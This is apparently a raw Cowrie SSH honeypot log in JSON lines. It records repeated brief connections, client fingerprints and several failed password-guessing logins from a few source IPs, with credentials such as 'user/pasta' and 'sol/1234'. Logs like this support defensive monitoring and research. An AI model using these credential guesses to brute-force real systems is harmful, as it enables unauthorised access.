{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:22.512516Z","src_ip":"103.249.200.230","session":"8c74a9ee562e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:22.729227Z","src_ip":"103.249.200.230","session":"8c74a9ee562e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:22.734115Z","src_ip":"103.249.200.230","session":"8c74a9ee562e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.200.230","src_port":50673,"dst_ip":"10.17.0.5","dst_port":22,"session":"85c35a979220","protocol":"ssh","message":"New connection: 103.249.200.230:50673 (10.17.0.5:22) [session: 85c35a979220]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:23.719358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:23.949642Z","src_ip":"103.249.200.230","session":"85c35a979220","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:24.175365Z","src_ip":"103.249.200.230","session":"85c35a979220","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:24.183463Z","src_ip":"103.249.200.230","session":"85c35a979220","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.200.230","src_port":50997,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2d7df0ce4cf","protocol":"ssh","message":"New connection: 103.249.200.230:50997 (10.17.0.5:22) [session: b2d7df0ce4cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:25.293122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:25.530507Z","src_ip":"103.249.200.230","session":"b2d7df0ce4cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:25.754143Z","src_ip":"103.249.200.230","session":"b2d7df0ce4cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:25.759265Z","src_ip":"103.249.200.230","session":"b2d7df0ce4cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.200.230","src_port":51407,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c0481cb5551","protocol":"ssh","message":"New connection: 103.249.200.230:51407 (10.17.0.5:22) [session: 1c0481cb5551]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:26.908611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:27.135375Z","src_ip":"103.249.200.230","session":"1c0481cb5551","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:27.353204Z","src_ip":"103.249.200.230","session":"1c0481cb5551","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:27.358267Z","src_ip":"103.249.200.230","session":"1c0481cb5551","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.200.230","src_port":51688,"dst_ip":"10.17.0.5","dst_port":22,"session":"8876bfe18f94","protocol":"ssh","message":"New connection: 103.249.200.230:51688 (10.17.0.5:22) [session: 8876bfe18f94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:28.352602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:28.577936Z","src_ip":"103.249.200.230","session":"8876bfe18f94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:28.798683Z","src_ip":"103.249.200.230","session":"8876bfe18f94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:28.806208Z","src_ip":"103.249.200.230","session":"8876bfe18f94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.200.230","src_port":52120,"dst_ip":"10.17.0.5","dst_port":22,"session":"db9ab7d90da1","protocol":"ssh","message":"New connection: 103.249.200.230:52120 (10.17.0.5:22) [session: db9ab7d90da1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:30.329258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:31.129607Z","src_ip":"103.249.200.230","session":"db9ab7d90da1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":60734,"dst_ip":"159.203.135.109","dst_port":22,"session":"211de3e9da2a","protocol":"ssh","message":"New connection: 195.178.110.218:60734 (159.203.135.109:22) [session: 211de3e9da2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:31.350400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:31.354583Z","src_ip":"195.178.110.218","session":"211de3e9da2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:31.434393Z","src_ip":"195.178.110.218","session":"211de3e9da2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:31.673434Z","src_ip":"195.178.110.218","session":"211de3e9da2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:32.152100Z","src_ip":"103.249.200.230","session":"db9ab7d90da1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:32.157110Z","src_ip":"103.249.200.230","session":"db9ab7d90da1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":52495,"dst_ip":"10.17.0.5","dst_port":22,"session":"93a2fc9a0973","protocol":"ssh","message":"New connection: 2.57.121.25:52495 (10.17.0.5:22) [session: 93a2fc9a0973]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:32.641706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:32.648311Z","src_ip":"2.57.121.25","session":"93a2fc9a0973","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:32.752114Z","src_ip":"2.57.121.25","session":"93a2fc9a0973","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:32.758610Z","src_ip":"195.178.110.218","session":"211de3e9da2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"pendejo","message":"login attempt [user/pendejo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:33.239180Z","src_ip":"2.57.121.25","session":"93a2fc9a0973","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.200.230","src_port":52705,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9c19913fe9a","protocol":"ssh","message":"New connection: 103.249.200.230:52705 (10.17.0.5:22) [session: d9c19913fe9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:34.004802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:34.243671Z","src_ip":"103.249.200.230","session":"d9c19913fe9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"peaceful","message":"login attempt [user/peaceful] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:34.350583Z","src_ip":"2.57.121.25","session":"93a2fc9a0973","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:34.469070Z","src_ip":"103.249.200.230","session":"d9c19913fe9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:34.474882Z","src_ip":"103.249.200.230","session":"d9c19913fe9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"patron","message":"login attempt [user/patron] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:35.457122Z","src_ip":"2.57.121.25","session":"93a2fc9a0973","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.200.230","src_port":52932,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c32c12d89ea","protocol":"ssh","message":"New connection: 103.249.200.230:52932 (10.17.0.5:22) [session: 5c32c12d89ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:35.556941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:36.281476Z","src_ip":"103.249.200.230","session":"5c32c12d89ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:36.505759Z","src_ip":"103.249.200.230","session":"5c32c12d89ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:36.510770Z","src_ip":"103.249.200.230","session":"5c32c12d89ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"pasta","message":"login attempt [user/pasta] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:36.563186Z","src_ip":"2.57.121.25","session":"93a2fc9a0973","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.200.230","src_port":53321,"dst_ip":"10.17.0.5","dst_port":22,"session":"e747ce75033e","protocol":"ssh","message":"New connection: 103.249.200.230:53321 (10.17.0.5:22) [session: e747ce75033e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:37.574443Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"partners","message":"login attempt [user/partners] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:37.669236Z","src_ip":"2.57.121.25","session":"93a2fc9a0973","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:37.923894Z","src_ip":"103.249.200.230","session":"e747ce75033e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:38.150373Z","src_ip":"103.249.200.230","session":"e747ce75033e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:38.155917Z","src_ip":"103.249.200.230","session":"e747ce75033e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:38.775425Z","src_ip":"2.57.121.25","session":"93a2fc9a0973","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.200.230","src_port":53650,"dst_ip":"10.17.0.5","dst_port":22,"session":"98b610dee8a8","protocol":"ssh","message":"New connection: 103.249.200.230:53650 (10.17.0.5:22) [session: 98b610dee8a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:39.144807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:39.537848Z","src_ip":"103.249.200.230","session":"98b610dee8a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:39.758824Z","src_ip":"103.249.200.230","session":"98b610dee8a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:39.765381Z","src_ip":"103.249.200.230","session":"98b610dee8a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.200.230","src_port":53974,"dst_ip":"10.17.0.5","dst_port":22,"session":"37c072b1cf99","protocol":"ssh","message":"New connection: 103.249.200.230:53974 (10.17.0.5:22) [session: 37c072b1cf99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:40.552651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:41.257841Z","src_ip":"103.249.200.230","session":"37c072b1cf99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:41.474330Z","src_ip":"103.249.200.230","session":"37c072b1cf99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:41.479421Z","src_ip":"103.249.200.230","session":"37c072b1cf99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.200.230","src_port":54379,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c133cd265d3","protocol":"ssh","message":"New connection: 103.249.200.230:54379 (10.17.0.5:22) [session: 8c133cd265d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:42.557364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:42.885421Z","src_ip":"103.249.200.230","session":"8c133cd265d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:43.114426Z","src_ip":"103.249.200.230","session":"8c133cd265d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:43.119417Z","src_ip":"103.249.200.230","session":"8c133cd265d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.200.230","src_port":54861,"dst_ip":"10.17.0.5","dst_port":22,"session":"5fa7cffc941e","protocol":"ssh","message":"New connection: 103.249.200.230:54861 (10.17.0.5:22) [session: 5fa7cffc941e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:44.709308Z"}
